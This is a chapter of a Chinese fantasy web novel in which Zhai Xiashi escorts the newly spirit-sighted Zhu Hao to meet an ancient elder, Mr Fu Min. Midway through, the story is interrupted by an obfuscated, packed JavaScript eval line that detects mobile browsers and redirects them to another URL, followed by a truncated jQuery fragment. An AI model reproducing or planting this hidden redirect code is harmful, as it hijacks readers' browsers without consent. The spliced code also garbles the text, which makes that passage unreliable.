一夜没睡，祝好半夜害怕，翟暇时守了她一晚上。第二天一早，令狐双就发了信息过来，说带她们两个去拜访一位前辈，给祝好看看眼睛。


    自从翟暇时打开房门的之后，祝好就一直目不转睛地“盯着”翟暇时，连手上用来辨明方向的棍子都跌落在地上，紧紧揪着翟暇时的衣角。


    “怎么了？”


    祝好答：“暇时姐，我好像能看见一点你的轮廓。”


    “是么？”翟暇时惊诧。


    “嗯，有一点点像是长毛了的火柴人。”祝好摸了摸鼻子。


    “看得清其他人的轮廓吗？”翟暇时掰过她的肩膀，将眼睛检查了一番，昨天晚上看，没什么问题，多休息休息就好了。


    不过听祝好这么一说，看来时有一些意外之喜了。开天眼之后，不仅五感的敏锐度会提升一个档次，对于“灵”的流动会更加敏感，但是不得关窍也不能灵活运用，没想到她居然无师自通了。


    从最开始能迷迷糊糊看见人的轮廓到看得越来越清晰，在从对这些东西一知半解到现在已经可以依靠气息勉强分辨出身边比较熟悉的人，她进步得很快。不仅如此，除了能看见“人”的轮廓之外，她有时甚至能隐隐约约看到一切有“灵”之物的轮廓。


    祝好摇了摇了，又点了点头。


    “好像能看清一点点一点点猫猫的轮廓。”


    她捏着两个手指比了一个一点点的大小，小九从床上跳下了蹦到她腿边绕了几圈，轻轻蹭了蹭，随即又跳走了，祝好能看见的是一团有些残破的、微弱的光影在上下浮动。


    很其实她还能看见翟暇时的轮廓旁边还有一个不太明显的轮廓，但是她没敢讲。


    说话间，令狐双已经发信息叫两人下楼了，能看见轮廓这件事很新奇，一直到上车，她都一直目不转睛“盯着”翟暇时。


    然而没过多久，她的注意力就被转移了，因为她发现，她好像也能迷迷糊糊看出一点令狐双的轮廓。只不过，她的轮廓和翟暇时的比起来，要淡很多了。


    拉开车门，翟暇时看到了另一个人，副驾驶的位置坐着脸色有些苍白的邬稞，她看上去情况不大好的样子。


    “邬稞姐也在吗？”她试探着问。


    “嗯。”前座的邬稞不咸不淡地嗯了一声，声音中透着浓厚的疲倦，脖子转过来的时候发出了轻微的嘎吱的骨头摩擦的声音。


    前几天在湖边的时候，她强行将尸骨尽数炼化，伤了根本，之后又经过一场鏖战，在之后又匆匆忙忙往酆都去送别那群婴灵，看这样子是将那群婴灵送过忘川，千叮万嘱过，姐姐妹妹一堆冒着哭过念过一阵才回来的。


    一直到现在也没休息个什么。更何况，那股来自地狱业火的力量和她自身的怨气在她体内对着冲了起来，她现在几乎是每条骨头缝里都疼得厉害。


    简单来说就是陡然间在下面呆那么久水土不服，在人界呆久了，就连是鬼，也不是很能适应酆都那个鬼地方啊。


    “苏况呢？”祝好问。


    “他留守局子写报告呢，他没受什么伤，就没让他来。”令狐双解释。


    “双姐，我们这次是要去见什么人呐？”祝好看上去有点紧张。


    翟暇时也好奇。这只狐狸有个性得很，行事作风和异管局那群家伙并不合得来，这么多年还能再外勤组——虽然是最后一组。


    然而这只狐狸的实力又实在强悍，居然在最后一组。


    这就很耐人寻味了，即使翟暇时多年不管异管局的事情，现在也好奇起来。


    “是一位大能，当年异管局的开山元老之一，不管放到现在还是当年异管局成立之初，都是一方大能。”令狐双道。


    他们聊天也没避着翟暇时，翟暇时是知道异管局的，而这些在异管局也算不得什么秘密。


    “那不是老神仙了？”祝好惊呼。


    入职这几天，她也从一开始的窝窝囊囊唯唯诺诺不可置信到现在慢慢接受，但是猛然有人告诉她说，真有人从洪荒亘古活到现在，她还是有些不敢相信。


    “实则不老，你见了就知道了。”令狐双道，忽然想起来祝好这会儿是个瞎的，话头拐了个弯道，“以后会经常见的，我们组和他关系还算不错。”


    “他活了几千岁吗？”


    “可能更久，对于大妖而言，千年算不了多久。”令狐双道，她看向后视镜里的翟暇时，问，“符悯先生，我看你对异管局挺了解的，听说过他吗？”


    翟暇时微笑，摇了摇头。


    听说过？何止听说过，那可太熟悉了。这边说曹操曹操就到，传闻中的“符悯先生”就和机关炮似的发了一连串的消息过来。


    上善若水：不行啊，改天约吧，今天没空。


    上善若水：今天有一个狐族的小辈要过来。


    上善若水：她那边好几个伤员，都是好苗子，得去看看。


    上善如水：有一个还是阴阳眼+纯阴体，啧啧，少见，少见。


    上善若水：欸，她们组也有一个和你上一回说的木系死灵一样的。


    翟暇时将手机调整成免打扰揣进了兜里，闭目养神。


    神游之间，意识又探入灵府，就轻驾熟地踏上那条通往山坳的小径。然而在察觉到有什么正在等着她的时候，她反而放慢了脚步。


    翟暇时心念一动，丛生的各色的花木从以她为中心长了出来，她纤长而骨节分明的手指上下翩飞，一个花环渐渐成型，她挼过花枝，红的白的，黄的蓝的，将花茎细细编进柳枝的缝隙之间，转眼间这花环就生动了起来。


    灵府的上空，星图轮换，参横斗转，生生不息。她掂着只花环不紧不慢往山坳的深处去。


    身后的视线很难忽略，白色的鳞片划过山间的草木，翟暇时就见泉眼清澈，泉眼之后，就是一道窄门，窄门之后，就是翟玖在她灵府中筑的巢穴。


    啧，翟暇时轻笑，这门口的藤蔓比上次来的时候深了许多。她轻轻拨开那重重叠叠的帷幕，渐渐往里去，绕开地上那些金玉，目标明确，是那张玉床。


    玉床上坐着个人，身形高大俊硕，线条分明流畅，背对着她，长发用一只簪子盘了起来，故而翟暇时可以清晰看见后背裸|露处的肌肤上还有没有完全褪下的鳞片，因为反射了从穹顶上漏下来的几缕光线，像是发着光一般。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536187|186564||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    翟暇时就这样站在他身后欣赏着，不近一步，也不退一步。


    静默，长久的静默，然后是翟暇时动了动，她身后将那只花环戴在了翟玖的头上。他的髻子盘得漂亮又得当，好像是专门等着一个花环一般。


    翟暇时送的东西，自然是如同冠冕一样的存在的。


    “只有这个？”翟暇时仔仔细细给他戴好，化出一面水镜来让他看了，他露出个笑容来，反又这样问。


    “怎么会呢？给你攒了好多好东西。”翟暇时舔了舔唇。


    “真的？”


    “比珍珠还真。”


    翟暇时的手轻轻托着她的下巴挠了挠，诚然这是摸小猫的手法，用来rua他同样也是很受用。一想到魂魄一时半会也找不齐，这样的翟玖还能玩上很长一段时间。翟暇时就感觉心花怒放。


    这样单纯的翟玖可不少见。别有一番风味。


    “你能感受到你的其他部分的气息吗？”


    “很微弱，不是很能感受得到。”翟玖想了想，“上次也是到了湖边才发现的，不过我有感觉，那个地方一定还能发现些别的东西。”


    “哦？”


    “巫山啊，虽然我现在不记得了，但是我能感觉得到，那里对我们来说还是很重要的，你习惯将东西存放在几个固定的地方，我也是，说不能那里会发现些什么呢？”翟玖这样的分析并非毫无道理，甚至是一字不差。


    在让他说下去，翟暇时底裤都要被他扒光了，她急忙转移话题，不知道想到了些什么，她忽然捧着翟玖的脸，问起了他对猫的看法。


    “猫？”翟玖眼神略微闪躲，翟暇时眼神微微眯起。


    “我看你还挺喜欢他的。”翟玖道。


    翟暇时心道，她似乎也没有表现得很明显吧？


    紧接着，她就听到翟玖继续说：“既然你喜欢，那我总不能真把他吃了，做不过一只没什么大用的小妖，就是，欸。”


    “就是我觉得，那猫毕竟是个外人，你还是可以多分出些时间来陪陪我的。”


    *


    车子在别墅区一座中式园林前停下，从院子的漏窗往里看过去可以窥见一方花园，一条清幽的小径通向葳蕤的草木深处，小楼的白墙红瓦以及墙皮上以为年久而皲裂开的黑色裂缝，在绿荫的的映衬之下透着一种古意。


    这周遭的气息格外熟悉，景象也没有什么变化，院子里水源充沛，廊桥两边的泉水里红的黄的肥胖的锦鲤拱来拱去，令狐双在地上摸了一块石子儿丢了下去，锦鲤以为是鱼食，争先恐后争抢不停。


    “怎么几百年了还怎么蠢？”她嘟囔。


    正巧这天上就淅淅沥沥下起了了下雨，一行人沿着复廊进入院子的深处，雨滴打在伞面上的滴答声沉沉的。


    拐过几道曲折的回廊，绕过垂花门，步入正厅的檐下，一柄淡色的油纸伞静静倚在门槛便，底下积了一滩淡淡的水渍，似乎是有人刚回来。


    翟暇时往里望过去，一个看上去不过二十来岁的年轻人翻着一卷书坐在窗边，手边是一缸开得正好的莲花。


    令狐双走上前去，喊了一声：


    “符悯先生。”